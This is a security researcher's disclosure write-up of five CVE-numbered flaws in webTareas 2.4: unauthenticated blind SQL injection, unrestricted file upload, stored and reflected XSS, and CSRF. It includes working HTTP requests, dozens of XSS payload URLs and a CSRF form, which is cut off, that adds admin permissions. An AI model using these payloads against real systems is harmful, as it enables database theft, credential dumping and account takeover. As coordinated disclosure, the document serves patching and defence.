The Tales of N4nj0

webTareas 2.4 - Multiple Vulnerabilities

TL;DR

I have found five security issues on webTareas <= 2.4:

1 - SQL Injection: An unauthenticated user is able to perform Time and Boolean-based blind SQL Injection on the endpoint /includes/library.php, via the sor_cible, sor_champs, and sor_ordre HTTP POST parameters.
2 - Unrestricted File Upload: An authenticated user is able to arbitrarily upload potentially dangerous files without restrictions. This is working by adding or replacing a personal profile picture. The affected endpoint is /includes/upload.php on the HTTP POST data.
3 - Multiple Reflected XSS: An authenticated user is able to inject arbitrary web script or HTML and achieve a Reflected Cross-Site Scripting attack against the platform users and administrators. The issue affects every endpoint on the application because it is related on how each URL is echoed back on every response page.
4 - Stored XSS: An authenticated user is able to store arbitrary web script or HTML and achieve a Stored Cross-Site Scripting attack against the platform users and administrators. This is possible by creating or editing a client name in the clients section. The affected endpoint is /clients/editclient.php via the HTTP POST cn parameter.
5 - Cross-Site Request Forgery (CSRF): A remote attacker is able to create a new administrative profile and add a new user to the new profile without the victim’s knowledge. This is possible by crafting an HTML page with predefined data for the /userprofiles/edituserprofile.php and /users/edituser.php URLs, and enticing an authenticated admin user to visit an attacker’s web page.

Product Information

webTareas is a web-based collaboration opensource tool, capable to perform end-to-end project and corporate management. The developers are very active to add new features and to fix security bugs in blazing speed.
During a security auditing of the product, I have found five issues. Then, I’ve opened a ticket in private mode on SourceForge, with a detailed report attached.
The fixes were developed by the owner two day after my vulnerability notification. That’s a very professional way to handle high impact security vulnerabilities!

It is recommended to apply the latest patch at the time of writing, 2.4p2, as published on the product blog page.

Vulnerability Details

1 - Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) - CWE-89

  • Summary: An unauthenticated user can perform Time-based Boolean Blind SQL Injection attack to access all the data in the database and obtain access to the webTareas application.
  • Prerequisites: None.
  • CVE and CVSS Score: CVE-2021-41920 | 7.5 (High)

Affected Endpoints

Step-by-step instructions and PoC

The application is vulnerable in the default installation, without any customization.
This security issue is found through source code analysis. In particular, the source file webtareas/includes/library.php has both the sources and the sinks needed to analyze and exploit the vulnerability.

The file does not contain require the user to be authenticated. The following authorization code is missing on the beginning of library.php file:

$checkSession = true;

Beginning from line 189, there are the sinks, or the parameters accepting user data:

// extract sorting variables
$sor_cible = isset($_POST['sor_cible']) ? $_POST['sor_cible'] : '';
$sor_champs = isset($_POST['sor_champs']) ? $_POST['sor_champs'] : '';
$sor_ordre = isset($_POST['sor_ordre']) ? $_POST['sor_ordre'] : '';

Those parameters are not sanitized, and the sinks are triggered by the conditional branches beginning from line 335:

// update sorting table if query sort column
if (!empty($sor_cible) && $sor_champs != 'none') {
    $querymore1 = " WHERE member='$idSession' AND sortid='$sor_cible'";
    $sortingDetail = new request();
    $sortingDetail->openSorting($querymore1);
    $newSortString = "$sor_champs $sor_ordre";

    if (count($sortingDetail->sor_member) == 0) {   // new sorting string
        $tmpsql = 'INSERT INTO ' . $tablePrefix . "sorting (member,sortid,sortstr) VALUES ('$idSession','$sor_cible','$newSortString')";
        connectSql($tmpsql);
    } elseif ($newSortString != $sortingDetail->sor_sortstr[0]) {   // sorting string changed
        $tmpsql = 'UPDATE ' . $tablePrefix . "sorting SET sortstr='$newSortString' WHERE member=$idSession AND sortid='$sor_cible'";
        connectSql($tmpsql);
    }
}

This means there are 3 ways to tamper the page parameters to achieve SQL Injection: 1. Injecting code only in sor_cible parameter. 2. Injecting code in the sor_champs parameter and using a non-null sor_cible parameter. 3. Injecting code in the sor_ordre parameter and using non-null sor_champs and sor_cible parameters.

For the first way, it was found that the application behavior is different when a user executes TRUE or FALSE SQL statement conditions. The following request will be evaluated as TRUE (f of string foobar is ASCII 102) and the sleep statement will delay the response by 3 seconds:

POST /includes/library.php HTTP/1.1
Content-Length: 81
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_cible=aaa' AND 0=(SELECT IF(ORD(SUBSTRING('foobar',1,1))=102,sleep(3),0))-- -

Enabling query logging on MySQL, the full query will be as the following:

SELECT sor.* FROM zG9sorting sor WHERE member='0' AND sortid='aaa' AND 0=(SELECT IF(ORD(SUBSTRING('foobar',1,1))=102,sleep(3),0))-- -'

The following request will be evaluated as FALSE (f of string foobar is not ASCII 103) and the sleep statement will not be triggered, returning immediately the response:

POST /includes/library.php HTTP/1.1
Content-Length: 81
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_cible=aaa' AND 0=(SELECT IF(ORD(SUBSTRING('foobar',1,1))=103,sleep(3),0))-- -

For the second way, the application behavior is different when a user executes TRUE or FALSE SQL statement conditions. The following request will be evaluated as TRUE (f of string foobar is ASCII 102):

POST /includes/library.php HTTP/1.1
Content-Length: 133
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_champs=aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=102) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- -&sor_cible=aaa

The response body will be empty:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 21:25:07 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: webTareasSID=hpc1gs0985dorhep36s9n7tbvv; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The full query will be as the following:

UPDATE zG9sorting SET sortstr='aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=102) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- - ' WHERE member=0 AND sortid='aaa'

The following request will be evaluated as FALSE (f of string foobar is not ASCII 103):

POST /includes/library.php HTTP/1.1
Content-Length: 133
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_champs=aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=103) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- -&sor_cible=aaa

The response body will contain a database informative message:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 21:26:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: webTareasSID=56425alqgh47f0ur39f4mmke4p; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

Subquery returns more than 1 row(1242)

For the third way, the application behavior is different when a user executes TRUE or FALSE SQL statement conditions. The following request will be evaluated as TRUE (f of string foobar is ASCII 102):

POST /includes/library.php HTTP/1.1
Content-Length: 133
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_champs=aaa&sor_cible=aaa&sor_ordre=aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=102) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- -

The response body will be empty:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 21:31:29 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: webTareasSID=g6g1q71b75dberjosvi202e90l; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

The full query will be as the following:

UPDATE zG9sorting SET sortstr='aaa aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=102) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- -' WHERE member=0 AND sortid='aaa'

The following request will be evaluated as FALSE (f of string foobar is not ASCII 103):

POST /includes/library.php HTTP/1.1
Content-Length: 133
Host: hostname
Upgrade-Insecure-Requests: 1
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Connection: close

sor_champs=aaa&sor_cible=aaa&sor_ordre=aaa' WHERE 1=(SELECT (CASE WHEN (ORD(MID('foobar',1,1))=103) THEN 1 ELSE (SELECT 2 UNION SELECT 3) END))-- -

The response body will contain a database informative message:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 21:36:56 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: webTareasSID=07tjdueb24bcco59kl6glmj746; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

Subquery returns more than 1 row(1242)

It is possible to create a python tool to extract all the data from the database.
The banner of the database is gathered as PoC of the vulnerability:

SQLi - Banner

Also, the web application administrative credentials can be dumped:

SQLi - Admin Credentials

Security Impact

By exploiting this issue an attacker is able to access all the data in the database and obtain access to the webTareas application, because all the data, including administrative credentials, can be extracted and cracked.
Also, if the database itself has permission misconfigurations, the underlying operating system could be also compromised.

2 - Unrestricted Upload of File with Dangerous Type - CWE-434

  • Summary: The webTareas web interface does not protect against arbitrarily and potentially dangerous file uploading. Any user able to change the profile picture can arbitrarily upload any kind of file.
  • Prerequisites: None.
  • CVE and CVSS Score: CVE-2021-41919 | 8.8 (High)

Step-by-step instructions and PoC

A remote user, authenticated to the webTareas web interface, can arbitrarily upload potentially dangerous files without restrictions. This is working by adding or replacing his personal profile picture.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

To exploit the vulnerability, a simple HTML file with JavaScript code is uploaded.
It can be done directly from the web interface, removing the tag attribute accept="image/*" to bypass client-side restriction, or with the following HTTP request:

POST /includes/upload.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-FILENAME: xss.html
Content-Type: text/html
Content-Length: 385
Origin: http://hostname
Connection: close
Referer: http://hostname/preferences/updateuser.php?
Cookie: webTareasSID=dp2pj14hlavst3r4bo23iviha4

<html>
<script>alert('XSS')</script>
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
<!-- Write your comments here -->
</html>

The HTTP response will disclose the full path of the profile picture:

HTTP/1.1 200 OK
Date: Tue, 28 Sep 2021 22:20:31 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 42
Connection: close
Content-Type: text/html; charset=UTF-8

/var/www/hostname/files/tmpYdZ5tI

By correlating the full path with the application URL, it is possible to download or execute the file on the link:

http://hostname/files/tmpYdZ5tI

Requesting the file, the JavaScript payload will be executed:

Unrestricted file upload - HTML file

Security Impact

This vulnerability would allow an attacker to exploit the platform by injecting code or malware and, under certain conditions, to execute code on remote user browsers.

3 - Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting) - CWE-79

  • Summary: An authenticated remote user is able to store arbitrary web script or HTML by creating or editing a client name in the clients section, due to incorrect sanitization of user-supplied data and achieve a Stored Cross-Site Scripting attack against the platform users and administrators.
  • Prerequisites: Valid user session with the privileges to add or edit clients to webTareas web application.
  • CVE and CVSS Score: CVE-2021-41917 | 5.4 (Medium)

Step-by-step instructions and PoC

A remote user, authenticated to the webTareas web application, through Clients section, can arbitrarily inject and store JavaScript code. This is working on both adding a new client, or by editing an existing one.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

To exploit the vulnerability, a XSS payload is uploaded. It can be done directly from the web interface: 1. Go to Client menu: http://hostname/clients/listclients.php 2. Add a new client with the ‘+’ button. 3. Create a new client. On the Name field, insert the following value:

client_name<img src='#' onerror=alert(document.cookie) />
  1. Select Save.

Alternatively, it is possible to submit the following HTTP request:

POST /clients/editclient.php HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------39432385815962433282511417701
Content-Length: 2349
Origin: http://hostname
Connection: close
Referer: http://hostname/clients/editclient.php?
Cookie: webTareasSID=dp2pj14hlavst3r4bo23iviha4
Upgrade-Insecure-Requests: 1

-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="action"

add
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="cown"

1
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="cn"

client_name<img src='#' onerror=alert(document.cookie) />
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="add"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="zip"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="ct"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="cou"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="wp"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="fa"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="url"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="email"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="curr"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="wc"

1
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="pym"

1
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="pyt"

7
-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="c"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="ssc"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="attnam1"


-----------------------------39432385815962433282511417701
Content-Disposition: form-data; name="atttmp1"


-----------------------------39432385815962433282511417701--

The JavaScript payload will trigger immediately:

Stored XSS (1)

Also, viewing the client list, the JavaScript payload will also be triggered:

Stored XSS (2)

Security Impact

By exploiting this issue an attacker is able to target application users who are able to access the clients page within the browser with several type of direct or indirect impacts such as stealing cookies (the HttpOnly flag is missing from the session cookies), modifying a web page, capturing clipboard contents, keylogging, port scanning, dynamic downloads and other attacks. This type of stored XSS does not require user interaction.

4 - Improper Neutralization of Input During Web Page Generation (Reflected Cross-Site Scripting) - CWE-79

  • Summary: An authenticated remote user is able to inject arbitrary web script or HTML due to incorrect sanitization of user-supplied data and achieve a Reflected Cross-Site Scripting attack against the platform users and administrators.
  • Prerequisites: None.
  • CVE and CVSS Score: CVE-2021-41918 | 5.4 (Medium)

Step-by-step instructions and PoC

A malicious user can cause an administrator user to supply dangerous content to the vulnerable page, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims.

Affected Endpoints:

Below are the evidences with the vulnerability details and the payloads used.

To execute the JavaScript payload in the browser context, paste the URL in the browser:

http://hostname/administration/print_layout.php?doc_type=rhsyf"><script>alert(1)</script>aez00

The payload is reflected on the response.

Payload execution

The issue affects every endpoint on the application because it is related on how each URL is echoed back on every response page.
Other examples of vulnerable URLs are the following:

http://hostname/administration/print_layout.php?doc_type=rhsyf"><script>alert(1)</script>aez00
http://hostname/administration/print_layout.php?doc_type=11x4qvr</script><script>alert(1)</script>oxa79
http://hostname/administration/systeminfo.php/jhdab<script>alert(1)</script>kt1h6
http://hostname/administration/systeminfo.php/themes/camping/includes/avatarss22m9<script>alert(1)</script>wew7l/f2.png?ver=1629353246
http://hostname/administration/systeminfo.php/themes/camping/includes/tiny_mcebybn9<script>alert(1)</script>hvmtz/tiny_mce.js?ver=1629353245
http://hostname/administration/systeminfo.php/themes/camping/preferences/pref.php/c9y1c<script>alert(1)</script>se108?
http://hostname/administration/systeminfo.php/themes/camping/themes/campingbtuvt<script>alert(1)</script>azo6r/attention.png
http://hostname/administration/systeminfo.php/themes/camping/themes/campingxs581<script>alert(1)</script>phopf/btn_camera.png
http://hostname/administration/systeminfo.php/themes/camping/themes/campingicy03<script>alert(1)</script>utpxd/btn_download.png
http://hostname/administration/systeminfo.php/themes/camping/themes/camping/jquery-uixgpwm<script>alert(1)</script>t3sf5/jquery-ui.min.css?ver=1629353244
http://hostname/administration/systeminfo.php/themes/camping/themes/camping/jquery-uia9822<script>alert(1)</script>ekstl/jquery.timepicker.css
http://hostname/administration/systeminfo.php/themes/camping/themes/camping/selectswut7<script>alert(1)</script>zsgzh/pqselect.min.css
http://hostname/administration/systeminfo.php/themes/camping/themes/menum71co<script>alert(1)</script>lxg91/bottle-in-fall.min.css
http://hostname/administration/systeminfo.php/themes/camping/themes/menusfzjw<script>alert(1)</script>rb30r/color_wheel.png
http://hostname/administration/systeminfo.php/themes/camping/themes/menuwquam<script>alert(1)</script>prneh/stylesheet.min.css
http://hostname/administration/systeminfo.php/themes/general/login.php/es5pf<script>alert(1)</script>cwu7y
http://hostname/administration/systeminfo.php/themes/general/search.php/q6byt<script>alert(1)</script>pznw1
http://hostname/administration/systeminfo.php/themes/preferences/pref.php/mf9h8<script>alert(1)</script>gqh57
http://hostname/clients/listclients.php/sdla1"><script>alert(1)</script>gk0tf
http://hostname/clients/listclients.php/favicon.ico?&borne1=12vbjfb"><script>alert(1)</script>t702t
http://hostname/clients/listclients.php/general/webTareasLogo.png?&borne1=12npl92"><script>alert(1)</script>l2hew
http://hostname/clients/listclients.php/includes/avatars/f2.png?&borne1=12bmoh7"><script>alert(1)</script>vgwqw
http://hostname/clients/listclients.php/includes/tiny_mce/tiny_mce.js?&borne1=12tq7p7"><script>alert(1)</script>rl7k7
http://hostname/clients/listclients.php/javascript/chattab.min.js?&borne1=156emsnh"><script>alert(1)</script>mvucc
http://hostname/clients/listclients.php/javascript/form-control.min.js?&borne1=12vtigt"><script>alert(1)</script>z79e9
http://hostname/clients/listclients.php/javascript/general.min.js?&borne1=12b5pk5"><script>alert(1)</script>en74e
http://hostname/clients/listclients.php/javascript/jquery-1.11.1.min.js?&borne1=12if3kj"><script>alert(1)</script>zubps
http://hostname/clients/listclients.php/javascript/jquery-ui-1.11.0.min.js?&borne1=156civyp"><script>alert(1)</script>pwmgb
http://hostname/clients/listclients.php/javascript/jquery.timepicker.min.js?&borne1=156obj3j"><script>alert(1)</script>nmdg5
http://hostname/clients/listclients.php/javascript/jquery.ui.dialog-clickoutside.js?&borne1=156uyo48"><script>alert(1)</script>nwv0f
http://hostname/clients/listclients.php/javascript/pqselect.min.js?&borne1=12mfdru"><script>alert(1)</script>jyovq
http://hostname/clients/listclients.php/themes/camping/attention.png?&borne1=12ffsyq"><script>alert(1)</script>vrqbe
http://hostname/clients/listclients.php/themes/camping/btn_camera.png?&borne1=12i87ld"><script>alert(1)</script>s27qh
http://hostname/clients/listclients.php/themes/camping/btn_download.png?&borne1=12ddgdp"><script>alert(1)</script>hh545
http://hostname/clients/listclients.php/themes/camping/btn_quicklinks.png?&borne1=12hbrhk"><script>alert(1)</script>pewvr
http://hostname/clients/listclients.php/themes/camping/btn_search.png?&borne1=36bdq2f"><script>alert(1)</script>nma3x
http://hostname/clients/listclients.php/themes/camping/icon_sort_az.gif?&borne1=156p15ke"><script>alert(1)</script>ds1kz
http://hostname/clients/listclients.php/themes/camping/jquery-ui/jquery-ui.min.css?&borne1=12z254y"><script>alert(1)</script>sswng
http://hostname/clients/listclients.php/themes/camping/jquery-ui/jquery.timepicker.css?&borne1=12thwvq"><script>alert(1)</script>ln1ou
http://hostname/clients/listclients.php/themes/camping/select/pqselect.min.css?&borne1=156rkp4q"><script>alert(1)</script>cbq6h
http://hostname/clients/listclients.php/themes/camping/stylesheet.min.css?&borne1=12ny1z5"><script>alert(1)</script>n6l39
http://hostname/clients/listclients.php/themes/menu/bottle-in-fall.min.css?&borne1=12e992o"><script>alert(1)</script>ows29
http://hostname/clients/listclients.php/themes/menu/color_wheel.png?&borne1=156ciz7v"><script>alert(1)</script>tcsof
http://hostname/clients/listclients.php/themes/menu/stylesheet.min.css?&borne1=156iqfgg"><script>alert(1)</script>ekiat
http://hostname/contacts/listcontacts.php?groupby=jx0tw"><script>alert(1)</script>tbd9l&view=
http://hostname/contacts/listcontacts.php?groupby=firstname&view=t0270"><script>alert(1)</script>xx70m
http://hostname/general/login.php?logout=pczkb"onmouseover="alert(1)"iuyda
http://hostname/general/login.php?session=ulp2d"onmouseover="alert(1)"crcq7
http://hostname/general/login.php/vq77w?otcdc"onmouseover="alert(1)"wc8jh=1
http://hostname/general/search.php?searchtype=p155e"><script>alert(1)</script>l0lvf

Security Impact

By exploiting this issue an attacker is able to target administrator users who are able to access the plugin configuration page within the browser with several type of direct or indirect impacts such as stealing cookies (the HttpOnly flag is missing from the session cookies), modifying a web page, capturing clipboard contents, keylogging, port scanning, dynamic downloads and other attacks. This type of reflected XSS does require user interaction.

5 - Cross-Site Request Forgery (CSRF) - CWE-352

  • Summary: A remote attacker is able to add an administrator profile and user without the victim’s knowledge, by enticing an authenticated admin user to visit an attacker’s web page. The application does not use CSRF token for any POST request. An attacker can craft an HTML page with predefined data for the /userprofiles/edituserprofile.php and /users/edituser.php URLs, and send them to the victim. The server will execute the actions intended by the attacker.
  • Prerequisites: None.
  • CVE and CVSS Score: CVE-2021-41916 | 8.8 (High)

Step-by-step instructions and PoC

An authenticated administrator user that visits a crafted HTML page with a XMLHttpRequest function can add another administrator on webTareas web application.

Affected Endpoints

Below are the evidences with the vulnerability details and the payloads used.

By default, there is only one administrator on the platform:

CSRF (1)

Create the CSRF request by adding the following code on the file served on another machine, in this case a local Kali Linux, in the file: /var/www/html/csrf.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.webtareas.net/userprofiles/edituserprofile.php?" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="perm&#91;0&#93;" value="Profile&#124;Admin" />
      <input type="hidden" name="perm&#91;1&#93;" value="User&#124;Read" />
      <input type="hidden" name="perm&#91;2&#93;" value="User&#124;Write" />
      <input type="hidden" name="perm&#91;3&#93;" value="User&#124;Edit" />
      <input type="hidden" name="perm&#91;4&#93;" value="User&#124;Admin" />
      <input type="hidden" name="perm&#91;5&#93;" value="System&#32;Log&#124;Read" />
      <input type="hidden" name="perm&#91;6&#93;" value="System&#32;Log&#124;Admin" />
      <input type="hidden" name="perm&#91;7&#93;" value="System&#32;Settings&#124;Read" />
      <input type="hidden" name="perm&#91;8&#93;" value="System&#32;Settings&#124;Edit" />
      <input type="hidden" name="perm&#91;9&#93;" value="Deny&#32;IP&#124;Read" />
      <input type="hidden" name="perm&#91;10&#93;" value="Deny&#32;IP&#124;Admin" />
      <input type="hidden" name="perm&#91;11&#93;" value="Service&#124;Read" />
      <input type="hidden" name="perm&#91;12&#93;" value="Service&#124;Write" />
      <input type="hidden" name="perm&#91;13&#93;" value="Service&#124;Edit" />
      <input type="hidden" name="perm&#91;14&#93;" value="Service&#124;Admin" />
      <input type="hidden" name="perm&#91;15&#93;" value="Material&#124;Read" />
      <input type="hidden" name="perm&#91;16&#93;" value="Material&#124;Write" />
      <input type="hidden" name="perm&#91;17&#93;" value="Material&#124;Edit" />
      <input type="hidden" name="perm&#91;18&#93;" value="Material&#124;Admin" />
      <input type="hidden" name="perm&#91;19&#93;" value="Equipment&#124;Read" />
      <input type="hidden" name="perm&#91;20&#93;" value="Equipment&#124;Write" />
      <input type="hidden" name="perm&#91;21&#93;" value="Equipment&#124;Edit" />
      <input type="hidden" name="perm&#91;22&#93;" value="Equipment&#124;Admin" />
      <input type="hidden" name="perm&#91;23&#93;" value="Company&#32;Detail&#124;Read" />
      <input type="hidden" name="perm&#91;24&#93;" value="Company&#32;Detail&#124;Edit" />
      <input type="hidden" name="perm&#91;25&#93;" value="Period&#124;Read" />
      <input type="hidden" name="perm&#91;26&#93;" value="Period&#124;Edit" />
      <input type="hidden" name="perm&#91;27&#93;" value="Work&#32;Calendar&#124;Read" />
      <input type="hidden" name="perm&#91;28&#93;" value="Work&#32;Calendar&#124;Write" />
      <input type="hidden" name="perm&#91;29&#93;" value="Work&#32;Calendar&#124;Edit" />
      <input type="hidden" name="perm&#91;30&#93;" value="Work&#32;Calendar&#124;Admin" />
      <input type="hidden" name="perm&#91;31&#93;" value="Leave&#124;Read" />
      <input type="hidden" name="perm&#91;32&#93;" value="Leave&#124;Write" />
      <input type="hidden" name="perm&#91;33&#93;" value="Leave&#124;Edit" />
      <input type="hidden" name="perm&#91;34&#93;" value="Leave&#124;Admin" />
      <input type="hidden" name="perm&#91;35&#93;" value="Leave&#32;Request&#124;Edit" />
      <input type="hidden" name="perm&#91;36&#93;" value="Leave&#32;Request&#124;Admin" />
      <input type="hidden" name="perm&#91;37&#93;" value="Client&#124;Read" />
      <input type="hidden" name="perm&#91;38&#93;" value="Client&#124;Write" />
      <input type="hidden" name="perm&#91;39&#93;" value="Client&#124;Edit" />
      <input type="hidden" name="perm&#91;40&#93;" value="Client&#124;Admin" />
      <input type="hidden" name="perm&#91;41&#93;" value="Contact&#124;Read" />
      <input type="hidden" name="perm&#91;42&#93;" value="Contact&#124;Edit" />
      <input type="hidden" name="perm&#91;43&#93;" value="Project&#124;Read" />
      <input type="hidden" name="perm&#91;44&#93;" value="Project&#124;Write" />
      <input type="hidden" name="perm&#91;45&#93;" value="Project&#124;Edit" />
      <input type="hidden" name="perm&#91;46&#93;" value="Project&#124;Admin" />
      <input type="hidden" name="perm&#91;47&#93;" value="Meeting&#124;Read" />
      <input type="hidden" name="perm&#91;48&#93;" value="Meeting&#124;Write" />
      <input type="hidden" name="perm&#91;49&#93;" value="Meeting&#124;Edit" />
      <input type="hidden" name="perm&#91;50&#93;" value="Meeting&#124;Admin" />
      <input type="hidden" name="perm&#91;51&#93;" value="Approval&#32;Procedure&#124;Read" />
      <input type="hidden" name="perm&#91;52&#93;" value="Approval&#32;Procedure&#124;Write" />
      <input type="hidden" name="perm&#91;53&#93;" value="Approval&#32;Procedure&#124;Edit" />
      <input type="hidden" name="perm&#91;54&#93;" value="Approval&#32;Procedure&#124;Admin" />
      <input type="hidden" name="perm&#91;55&#93;" value="TextCustomization&#124;Admin" />
      <input type="hidden" name="perm&#91;56&#93;" value="File&#124;Read" />
      <input type="hidden" name="perm&#91;57&#93;" value="File&#124;Write" />
      <input type="hidden" name="perm&#91;58&#93;" value="File&#124;Edit" />
      <input type="hidden" name="perm&#91;59&#93;" value="File&#124;Admin" />
      <input type="hidden" name="perm&#91;60&#93;" value="Currency&#32;Rate&#124;Read" />
      <input type="hidden" name="perm&#91;61&#93;" value="Currency&#32;Rate&#124;Edit" />
      <input type="hidden" name="perm&#91;62&#93;" value="Custom&#32;Fields&#124;Read" />
      <input type="hidden" name="perm&#91;63&#93;" value="Custom&#32;Fields&#124;Edit" />
      <input type="hidden" name="perm&#91;64&#93;" value="Form&#32;Template&#124;Read" />
      <input type="hidden" name="perm&#91;65&#93;" value="Form&#32;Template&#124;Edit" />
      <input type="hidden" name="perm&#91;66&#93;" value="Forum&#124;Read" />
      <input type="hidden" name="perm&#91;67&#93;" value="Forum&#124;Write" />
      <input type="hidden" name="perm&#91;68&#93;" value="Forum&#124;Admin" />
      <input type="hidden" name="perm&#91;69&#93;" value="Locations&#124;Read" />
      <input type="hidden" name="perm&#91;70&#93;" value="Locations&#124;Edit" />
      <input type="hidden" name="perm&#91;71&#93;" value="Phase&#32;Set&#124;Read" />
      <input type="hidden" name="perm&#91;72&#93;" value="Phase&#32;Set&#124;Edit" />
      <input type="hidden" name="perm&#91;73&#93;" value="Report&#124;Read" />
      <input type="hidden" name="perm&#91;74&#93;" value="Report&#124;Edit" />
      <input type="hidden" name="perm&#91;75&#93;" value="Accounting&#124;Read" />
      <input type="hidden" name="perm&#91;76&#93;" value="Accounting&#124;Edit" />
      <input type="hidden" name="perm&#91;77&#93;" value="Invoice&#124;Read" />
      <input type="hidden" name="perm&#91;78&#93;" value="Invoice&#124;Write" />
      <input type="hidden" name="perm&#91;79&#93;" value="Invoice&#124;Edit" />
